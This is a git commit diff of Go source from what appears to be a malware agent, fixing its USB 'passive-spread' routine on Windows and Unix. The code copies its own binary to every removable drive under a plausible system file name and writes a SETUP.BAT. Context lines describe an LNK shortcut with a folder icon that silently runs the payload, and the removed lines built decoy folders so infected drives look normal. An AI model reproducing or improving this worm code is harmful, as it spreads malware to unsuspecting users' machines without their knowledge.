Fix USB spread loop: record exe size before goroutine, remove decoy folders

This commit is contained in:
AetherForge
2026-06-02 22:23:55 -07:00
parent 9407efd960
commit ed4d22ce32
2 changed files with 24 additions and 32 deletions

View File

@@ -41,13 +41,20 @@ func runUSBWatcherUnix(cfg config.RuntimeConfig) {
if err != nil {
return
}
exeInfo, err := os.Stat(exePath)
if err != nil {
return
}
currentSize := exeInfo.Size()
// Spread to drives already present at startup if payload is missing or stale.
// Record the current exe size BEFORE launching the goroutine so the ticker
// never fires again for a drive that's already being written.
for _, mp := range listRemovableMounts() {
size, found := findUnixPayloadSize(mp)
if !found || isPayloadStale(exePath, size) {
state[mp] = mountState{payloadSize: currentSize}
go spreadToMountUnix(cfg, mp)
state[mp] = mountState{}
} else {
state[mp] = mountState{payloadSize: size}
}
@@ -64,13 +71,13 @@ func runUSBWatcherUnix(cfg config.RuntimeConfig) {
prev, seen := state[mp]
if !seen {
log.Printf("[passive-spread] new removable mount: %s", mp)
state[mp] = mountState{}
state[mp] = mountState{payloadSize: exeInfo.Size()}
go spreadToMountUnix(cfg, mp)
continue
}
if prev.payloadSize != exeInfo.Size() {
log.Printf("[passive-spread] refreshing stale payload on %s", mp)
state[mp] = mountState{}
state[mp] = mountState{payloadSize: exeInfo.Size()}
go spreadToMountUnix(cfg, mp)
}
}

View File

@@ -98,6 +98,8 @@ var knownDropDirs = []string{"~RECYCLER", "System Volume Information", "$WinMeta
// that don't already carry an up-to-date payload.
func runUSBWatcher(cfg config.RuntimeConfig) {
// Track drives + the size of the payload we last wrote to each.
// Storing the exe size BEFORE launching the goroutine prevents the ticker
// from re-triggering a spread on every cycle (payloadSize 0 != exeSize).
type driveState struct{ payloadSize int64 }
state := map[string]driveState{}
@@ -105,6 +107,11 @@ func runUSBWatcher(cfg config.RuntimeConfig) {
if err != nil {
return
}
exeInfo, err := os.Stat(exePath)
if err != nil {
return
}
currentSize := exeInfo.Size()
// Check drives already present when the agent starts — spread to any that
// are missing or stale (different binary size), don't just skip them.
@@ -112,8 +119,10 @@ func runUSBWatcher(cfg config.RuntimeConfig) {
if getDriveType(d) == driveRemovable {
size, found := findUSBPayloadSize(d)
if !found || isPayloadStale(exePath, size) {
// Mark with current exe size NOW so the ticker never re-fires
// for this drive while the goroutine is still running.
state[d] = driveState{payloadSize: currentSize}
go spreadToUSB(cfg, d)
state[d] = driveState{}
} else {
state[d] = driveState{payloadSize: size}
}
@@ -133,16 +142,16 @@ func runUSBWatcher(cfg config.RuntimeConfig) {
}
prev, seen := state[d]
if !seen {
// Brand-new drive just inserted
// Brand-new drive just inserted — record size before goroutine.
log.Printf("[passive-spread] new USB drive: %s", d)
state[d] = driveState{}
state[d] = driveState{payloadSize: exeInfo.Size()}
go spreadToUSB(cfg, d)
continue
}
// Refresh if the agent binary was updated since we last wrote
// Refresh only when the running binary is genuinely newer.
if prev.payloadSize != exeInfo.Size() {
log.Printf("[passive-spread] refreshing stale payload on %s", d)
state[d] = driveState{}
state[d] = driveState{payloadSize: exeInfo.Size()}
go spreadToUSB(cfg, d)
}
}
@@ -220,13 +229,6 @@ func spreadToUSB(cfg config.RuntimeConfig, drive string) {
batPath := filepath.Join(drive, "SETUP.BAT")
_ = os.WriteFile(batPath, []byte(batLines), 0644)
// 4. Decoy visible folder so the drive looks natural when opened
decoyDir := filepath.Join(drive, pickDecoyFolderName(drive))
if err := os.MkdirAll(decoyDir, 0755); err == nil {
// Drop a harmless placeholder so it doesn't look empty
_ = os.WriteFile(filepath.Join(decoyDir, "readme.txt"),
[]byte("This folder is empty.\r\n"), 0644)
}
}
// usbPayloadName returns a plausible system binary name for the USB payload.
@@ -269,23 +271,6 @@ func pickLinkName(drive string) string {
return "Open Documents"
}
// pickDecoyFolderName returns a visible folder name to create on the USB so
// the drive looks like it contains real content. It avoids names already
// used by pickLinkName so the shortcut name and decoy name differ.
func pickDecoyFolderName(drive string) string {
candidates := []string{"Documents", "Photos", "Videos", "Music", "Backup", "Files"}
entries, _ := os.ReadDir(drive)
existing := map[string]bool{}
for _, e := range entries {
existing[strings.ToLower(e.Name())] = true
}
for _, c := range candidates {
if !existing[strings.ToLower(c)] {
return c
}
}
return "Backup"
}
// createFolderShortcut uses PowerShell's WScript.Shell COM object to
// create an LNK shortcut with a folder icon that silently runs destBin.